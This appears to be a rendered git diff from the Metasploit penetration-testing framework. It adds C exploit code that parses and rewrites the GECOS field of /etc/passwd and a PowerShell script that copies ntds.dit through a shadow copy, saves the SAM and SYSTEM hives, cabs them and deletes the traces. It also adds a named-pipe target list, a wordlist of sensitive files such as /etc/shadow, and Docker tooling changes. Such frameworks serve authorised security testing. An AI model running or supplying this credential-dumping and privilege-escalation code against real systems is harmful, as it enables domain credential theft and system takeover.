||||
|
||||
uh->fsizelim = fsizelim;
|
||||
if (new_fullname_len >= GECOS_LENGTH) die();
|
||||
generate_fullname(uh->gecos.full_name, new_fullname_len, c);
|
||||
return 0;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
static int
|
||||
generate_userhelpers(const char *const _a)
|
||||
{
|
||||
char a[GECOS_LENGTH];
|
||||
if (_a == NULL) die();
|
||||
const int n = xsnprintf(a, sizeof(a), "\n%s\n", _a);
|
||||
if (n >= GECOS_LENGTH) die();
|
||||
if (n <= 0) die();
|
||||
|
||||
const int fd = xopen(PASSWD, O_RDONLY);
|
||||
struct stat st;
|
||||
if (fstat(fd, &st) != 0) die();
|
||||
if (st.st_size >= 10*1024*1024) die();
|
||||
if (st.st_size <= 0) die();
|
||||
passwd_fsize = st.st_size;
|
||||
|
||||
char *const contents = xmalloc(passwd_fsize + 1);
|
||||
if (read(fd, contents, passwd_fsize) != (ssize_t)passwd_fsize) die();
|
||||
xclose(fd);
|
||||
contents[passwd_fsize] = '\0';
|
||||
if (strlen(contents) != passwd_fsize) die();
|
||||
if (contents[passwd_fsize-1] != '\n') die();
|
||||
|
||||
char fragment[64];
|
||||
xsnprintf(fragment, sizeof(fragment), "\n%s:", my.username);
|
||||
const char *line = strstr(contents, fragment);
|
||||
if (line == NULL) die();
|
||||
line++;
|
||||
|
||||
const char *rest = strchr(line, '\n');
|
||||
if (rest == NULL) die();
|
||||
if (rest <= line) die();
|
||||
rest++;
|
||||
|
||||
if (strcmp(_a, IS_USER_LAST) == 0) {
|
||||
const bool is_user_last = (*rest == '\0');
|
||||
free(contents);
|
||||
return is_user_last;
|
||||
}
|
||||
|
||||
unsigned int i;
|
||||
const char *field = line;
|
||||
|
||||
for (i = 0; i <= 5; i++) {
|
||||
const char *const field_end = strchr(field, ':');
|
||||
if (field_end == NULL) die();
|
||||
if (field_end >= rest) die();
|
||||
const size_t field_len = field_end - field;
|
||||
|
||||
switch (i) {
|
||||
case 0:
|
||||
if (field_len != strlen(my.username)) die();
|
||||
if (memcmp(field, my.username, field_len) != 0) die();
|
||||
break;
|
||||
case 1:
|
||||
if (*field != 'x') die();
|
||||
break;
|
||||
case 2:
|
||||
if (strtoimax(field, NULL, 10) != getuid()) die();
|
||||
break;
|
||||
case 3:
|
||||
if (strtoimax(field, NULL, 10) != getgid()) die();
|
||||
break;
|
||||
case 4:
|
||||
{
|
||||
char assembled[GECOS_LENGTH];
|
||||
xsnprintf(assembled, sizeof(assembled),
|
||||
"%.*s", (int)field_len, field);
|
||||
if (strlen(assembled) != field_len) die();
|
||||
|
||||
struct gecos_data gecos;
|
||||
memset(&gecos, 0, sizeof(gecos));
|
||||
xsnprintf(gecos.site_info, sizeof(gecos.site_info),
|
||||
"%s", my.gecos.site_info);
|
||||
if (strcmp(assembled, gecos_assemble(&gecos)) != 0) die();
|
||||
}
|
||||
|
||||
siteinfo_len = strlen(my.gecos.site_info);
|
||||
fullname_off = field - contents;
|
||||
|
||||
before_fullname_len = field - line;
|
||||
before_fullname = xstrndup(line, before_fullname_len);
|
||||
|
||||
after_fullname_len = rest - field;
|
||||
after_fullname = xstrndup(field, after_fullname_len);
|
||||
break;
|
||||
|
||||
case 5:
|
||||
if (*field != '/') die();
|
||||
break;
|
||||
default:
|
||||
die();
|
||||
}
|
||||
field = field_end + 1;
|
||||
}
|
||||
|
||||
const int err = generate_userhelper(a, n-1, contents);
|
||||
|
||||
free(before_fullname), before_fullname = NULL;
|
||||
free(after_fullname), after_fullname = NULL;
|
||||
free(contents);
|
||||
|
||||
return (err < 0) ? -1 : n;
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
%clr%red
|
||||
.:okOOOkdc' 'cdkOOOko:.
|
||||
.xOOOOOOOOOOOOc cOOOOOOOOOOOOx.
|
||||
:OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO:
|
||||
'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
|
||||
oOOOOOOOO.%clr%bldMMMM%clr%red.oOOOOoOOOOl.%clr%bldMMMM%clr%red,OOOOOOOOo
|
||||
dOOOOOOOO.%clr%bldMMMMMM%clr%red.cOOOOOc.%clr%bldMMMMMM%clr%red,OOOOOOOOx
|
||||
lOOOOOOOO.%clr%bldMMMMMMMMM%clr%red;d;%clr%bldMMMMMMMMM%clr%red,OOOOOOOOl
|
||||
.OOOOOOOO.%clr%bldMMM%clr%red.;%clr%bldMMMMMMMMMMM%clr%red;%clr%bldMMMM%clr%red,OOOOOOOO.
|
||||
cOOOOOOO.%clr%bldMMM%clr%red.OOc.%clr%bldMMMMM%clr%red'oOO.%clr%bldMMM%clr%red,OOOOOOOc
|
||||
oOOOOOO.%clr%bldMMM%clr%red.OOOO.%clr%bldMMM%clr%red:OOOO.%clr%bldMMM%clr%red,OOOOOOo
|
||||
lOOOOO.%clr%bldMMM%clr%red.OOOO.%clr%bldMMM%clr%red:OOOO.%clr%bldMMM%clr%red,OOOOOl
|
||||
;OOOO'%clr%bldMMM%clr%red.OOOO.%clr%bldMMM%clr%red:OOOO.%clr%bldMMM%clr%red;OOOO;
|
||||
.dOOo'%clr%bldWM%clr%red.OOOOocccxOOOO.%clr%bldMX%clr%red'xOOd.
|
||||
,kOl'%clr%bldM%clr%red.OOOOOOOOOOOOO.%clr%bldM%clr%red'dOk,
|
||||
:kk;.OOOOOOOOOOOOO.;Ok:
|
||||
;kOOOOOOOOOOOOOOOk:
|
||||
,xOOOOOOOOOOOx,
|
||||
.lOOOOOOOl.
|
||||
,dOd,
|
||||
.%clr
|
||||
@@ -0,0 +1,21 @@
|
||||
%clr%red
|
||||
.:okOOOkdc' 'cdkOOOko:.
|
||||
.xOOOOOOOOOOOOc cOOOOOOOOOOOOx.
|
||||
:OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO:
|
||||
'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
|
||||
oOOOOOOOO. .oOOOOoOOOOl. ,OOOOOOOOo
|
||||
dOOOOOOOO. .cOOOOOc. ,OOOOOOOOx
|
||||
lOOOOOOOO. ;d; ,OOOOOOOOl
|
||||
.OOOOOOOO. .; ; ,OOOOOOOO.
|
||||
cOOOOOOO. .OOc. 'oOO. ,OOOOOOOc
|
||||
oOOOOOO. .OOOO. :OOOO. ,OOOOOOo
|
||||
lOOOOO. .OOOO. :OOOO. ,OOOOOl
|
||||
;OOOO' .OOOO. :OOOO. ;OOOO;
|
||||
.dOOo .OOOOocccxOOOO. xOOd.
|
||||
,kOl .OOOOOOOOOOOOO. .dOk,
|
||||
:kk;.OOOOOOOOOOOOO.cOk:
|
||||
;kOOOOOOOOOOOOOOOk:
|
||||
,xOOOOOOOOOOOx,
|
||||
.lOOOOOOOl.
|
||||
,dOd,
|
||||
.%clr
|
||||
@@ -1,11 +1,9 @@
|
||||
## <%= items[:mod_name] %>
|
||||
<p>
|
||||
<%= normalize_description(items[:mod_description]) %>
|
||||
</p>
|
||||
|
||||
## Module Name
|
||||
|
||||
<%= Rex::Text.html_encode(items[:mod_fullname]) %>
|
||||
<%= CGI::escapeHTML(items[:mod_fullname]) %>
|
||||
|
||||
## Authors
|
||||
|
||||
@@ -47,4 +45,4 @@ No options required.
|
||||
|
||||
## Basic Usage
|
||||
|
||||
<%= normalize_demo_output(items[:mod_demo]) %>
|
||||
<%= normalize_demo_output(items[:mod_demo]) %>
|
||||
|
||||
@@ -65,4 +65,4 @@
|
||||
</div>
|
||||
<% end %>
|
||||
</body>
|
||||
</html>
|
||||
</html>
|
||||
|
||||
Executable
BIN
Binary file not shown.
@@ -0,0 +1,139 @@
|
||||
#Complete script created by Koen Riepe (koen.riepe@fox-it.com)
|
||||
#New-CabinetFile originally by Iain Brighton: http://virtualengine.co.uk/2014/creating-cab-files-with-powershell/
|
||||
function New-CabinetFile {
|
||||
[CmdletBinding()]
|
||||
Param(
|
||||
[Parameter(HelpMessage="Target .CAB file name.", Position=0, Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[Alias("FilePath")]
|
||||
[string] $Name,
|
||||
|
||||
[Parameter(HelpMessage="File(s) to add to the .CAB.", Position=1, Mandatory=$true, ValueFromPipeline=$true)]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[Alias("FullName")]
|
||||
[string[]] $File,
|
||||
|
||||
[Parameter(HelpMessage="Default intput/output path.", Position=2, ValueFromPipelineByPropertyName=$true)]
|
||||
[AllowNull()]
|
||||
[string[]] $DestinationPath,
|
||||
|
||||
[Parameter(HelpMessage="Do not overwrite any existing .cab file.")]
|
||||
[Switch] $NoClobber
|
||||
)
|
||||
|
||||
Begin {
|
||||
|
||||
## If $DestinationPath is blank, use the current directory by default
|
||||
if ($DestinationPath -eq $null) { $DestinationPath = (Get-Location).Path; }
|
||||
Write-Verbose "New-CabinetFile using default path '$DestinationPath'.";
|
||||
Write-Verbose "Creating target cabinet file '$(Join-Path $DestinationPath $Name)'.";
|
||||
|
||||
## Test the -NoClobber switch
|
||||
if ($NoClobber) {
|
||||
## If file already exists then throw a terminating error
|
||||
if (Test-Path -Path (Join-Path $DestinationPath $Name)) { throw "Output file '$(Join-Path $DestinationPath $Name)' already exists."; }
|
||||
}
|
||||
|
||||
## Cab files require a directive file, see 'http://msdn.microsoft.com/en-us/library/bb417343.aspx#dir_file_syntax' for more info
|
||||
$ddf = ";*** MakeCAB Directive file`r`n";
|
||||
$ddf += ";`r`n";
|
||||
$ddf += ".OPTION EXPLICIT`r`n";
|
||||
$ddf += ".Set CabinetNameTemplate=$Name`r`n";
|
||||
$ddf += ".Set DiskDirectory1=$DestinationPath`r`n";
|
||||
$ddf += ".Set MaxDiskSize=0`r`n";
|
||||
$ddf += ".Set Cabinet=on`r`n";
|
||||
$ddf += ".Set Compress=on`r`n";
|
||||
## Redirect the auto-generated Setup.rpt and Setup.inf files to the temp directory
|
||||
$ddf += ".Set RptFileName=$(Join-Path $ENV:TEMP "setup.rpt")`r`n";
|
||||
$ddf += ".Set InfFileName=$(Join-Path $ENV:TEMP "setup.inf")`r`n";
|
||||
|
||||
## If -Verbose, echo the directive file
|
||||
if ($PSCmdlet.MyInvocation.BoundParameters["Verbose"].IsPresent) {
|
||||
foreach ($ddfLine in $ddf -split [Environment]::NewLine) {
|
||||
Write-Verbose $ddfLine;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Process {
|
||||
|
||||
## Enumerate all the files add to the cabinet directive file
|
||||
foreach ($fileToAdd in $File) {
|
||||
|
||||
## Test whether the file is valid as given and is not a directory
|
||||
if (Test-Path $fileToAdd -PathType Leaf) {
|
||||
Write-Verbose """$fileToAdd""";
|
||||
$ddf += """$fileToAdd""`r`n";
|
||||
}
|
||||
## If not, try joining the $File with the (default) $DestinationPath
|
||||
elseif (Test-Path (Join-Path $DestinationPath $fileToAdd) -PathType Leaf) {
|
||||
Write-Verbose """$(Join-Path $DestinationPath $fileToAdd)""";
|
||||
$ddf += """$(Join-Path $DestinationPath $fileToAdd)""`r`n";
|
||||
}
|
||||
else { Write-Warning "File '$fileToAdd' is an invalid file or container object and has been ignored."; }
|
||||
}
|
||||
}
|
||||
|
||||
End {
|
||||
|
||||
$ddfFile = Join-Path $DestinationPath "$Name.ddf";
|
||||
$ddf | Out-File $ddfFile -Encoding ascii | Out-Null;
|
||||
|
||||
Write-Verbose "Launching 'MakeCab /f ""$ddfFile""'.";
|
||||
$makeCab = Invoke-Expression "MakeCab /F ""$ddfFile""";
|
||||
|
||||
## If Verbose, echo the MakeCab response/output
|
||||
if ($PSCmdlet.MyInvocation.BoundParameters["Verbose"].IsPresent) {
|
||||
## Recreate the output as Verbose output
|
||||
foreach ($line in $makeCab -split [environment]::NewLine) {
|
||||
if ($line.Contains("ERROR:")) { throw $line; }
|
||||
else { Write-Verbose $line; }
|
||||
}
|
||||
}
|
||||
|
||||
## Delete the temporary .ddf file
|
||||
Write-Verbose "Deleting the directive file '$ddfFile'.";
|
||||
Remove-Item $ddfFile;
|
||||
|
||||
## Return the newly created .CAB FileInfo object to the pipeline
|
||||
Get-Item (Join-Path $DestinationPath $Name);
|
||||
}
|
||||
}
|
||||
|
||||
$key = "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters"
|
||||
$ntdsloc = (Get-ItemProperty -Path $key -Name "DSA Database file")."DSA Database file"
|
||||
$ntdspath = $ntdsloc.split(":")[1]
|
||||
$ntdsdisk = $ntdsloc.split(":")[0]
|
||||
|
||||
(Get-WmiObject -list win32_shadowcopy).create($ntdsdisk + ":\","ClientAccessible")
|
||||
|
||||
$id_shadow = "None"
|
||||
$volume_shadow = "None"
|
||||
|
||||
if (!(Get-WmiObject win32_shadowcopy).length){
|
||||
Write-Host "Only one shadow clone"
|
||||
$id_shadow = (Get-WmiObject win32_shadowcopy).ID
|
||||
$volume_shadow = (Get-WmiObject win32_shadowcopy).DeviceObject
|
||||
} Else {
|
||||
$n_shadows = (Get-WmiObject win32_shadowcopy).length-1
|
||||
$id_shadow = (Get-WmiObject win32_shadowcopy)[$n_shadows].ID
|
||||
$volume_shadow = (Get-WmiObject win32_shadowcopy)[$n_shadows].DeviceObject
|
||||
}
|
||||
|
||||
$command = "cmd.exe /c copy "+ $volume_shadow + $ntdspath + " " + ".\ntds.dit"
|
||||
iex $command
|
||||
|
||||
$command2 = "cmd.exe /c reg save HKLM\SYSTEM .\SYSTEM"
|
||||
iex $command2
|
||||
|
||||
$command3 = "cmd.exe /c reg save HKLM\SAM .\SAM"
|
||||
iex $command3
|
||||
|
||||
(Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | Where-Object {$_.DeviceObject -eq $volume_shadow}).Delete()
|
||||
if (Test-Path "All.cab"){
|
||||
Remove-Item "All.cab"
|
||||
}
|
||||
New-CabinetFile -Name All.cab -File "SAM","SYSTEM","ntds.dit"
|
||||
Remove-Item ntds.dit
|
||||
Remove-Item SAM
|
||||
Remove-Item SYSTEM
|
||||
@@ -0,0 +1,25 @@
|
||||
netlogon
|
||||
lsarpc
|
||||
samr
|
||||
browser
|
||||
atsvc
|
||||
DAV RPC SERVICE
|
||||
epmapper
|
||||
eventlog
|
||||
InitShutdown
|
||||
keysvc
|
||||
lsass
|
||||
LSM_API_service
|
||||
ntsvcs
|
||||
plugplay
|
||||
protected_storage
|
||||
router
|
||||
SapiServerPipeS-1-5-5-0-70123
|
||||
scerpc
|
||||
srvsvc
|
||||
tapsrv
|
||||
trkwks
|
||||
W32TIME_ALT
|
||||
wkssvc
|
||||
PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER
|
||||
db2remotecmd
|
||||
@@ -1,5 +1,6 @@
|
||||
/etc/passwd
|
||||
/etc/shadow
|
||||
/etc/group
|
||||
/etc/groups
|
||||
/etc/mysql.conf
|
||||
/etc/mysql/my.cnf
|
||||
|
||||
+11
-8
@@ -3,24 +3,27 @@
|
||||
|
||||
To run `msfconsole`
|
||||
```bash
|
||||
docker-compose build
|
||||
docker-compose run --rm --service-ports ms
|
||||
```
|
||||
or
|
||||
```bash
|
||||
./docker/bin/msfconsole
|
||||
```
|
||||
|
||||
To run `msfvenom`
|
||||
or
|
||||
|
||||
```bash
|
||||
docker-compose build
|
||||
docker-compose run --rm --no-deps ms ./msfvenom
|
||||
docker-compose run --rm --service-ports -e MSF_UID=$(id -u) -e MSF_GID=$(id -g) ms
|
||||
```
|
||||
or
|
||||
To run `msfvenom`
|
||||
```bash
|
||||
./docker/bin/msfvenom
|
||||
```
|
||||
|
||||
or
|
||||
|
||||
```bash
|
||||
docker-compose build
|
||||
docker-compose run --rm --no-deps -e MSF_UID=$(id -u) -e MSF_GID=$(id -g) ms ./msfvenom
|
||||
```
|
||||
|
||||
You can pass any command line arguments to the binstubs or the docker-compose command and they will be passed to `msfconsole` or `msfvenom`. If you need to rebuild an image (for example when the Gemfile changes) you need to build the docker image using `docker-compose build` or supply the `--rebuild` parameter to the binstubs.
|
||||
|
||||
### But I want reverse shells...
|
||||
|
||||
@@ -27,4 +27,4 @@ if [[ $PARAMS == *"--rebuild"* ]]; then
|
||||
exit $?
|
||||
fi
|
||||
|
||||
docker-compose run --rm --service-ports ms ./msfconsole -r docker/msfconsole.rc "$PARAMS"
|
||||
docker-compose run --rm --service-ports -e MSF_UID=$(id -u) -e MSF_GID=$(id -g) ms ./msfconsole -r docker/msfconsole.rc "$PARAMS"
|
||||
|
||||
Executable
+20
@@ -0,0 +1,20 @@
|
||||
#!/bin/bash
|
||||
|
||||
MSF_USER=msf
|
||||
MSF_GROUP=msf
|
||||
TMP=${MSF_UID:=1000}
|
||||
TMP=${MSF_GID:=1000}
|
||||
|
||||
# don't recreate system users like root
|
||||
if [ "$MSF_UID" -lt "1000" ]; then
|
||||
MSF_UID=1000
|
||||
fi
|
||||
|
||||
if [ "$MSF_GID" -lt "1000" ]; then
|
||||
MSF_GID=1000
|
||||
fi
|
||||
|
||||
addgroup -g $MSF_GID $MSF_GROUP
|
||||
adduser -u $MSF_UID -D $MSF_USER -g $MSF_USER -G $MSF_GROUP $MSF_USER
|
||||
|
||||
su-exec $MSF_USER "$@"
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user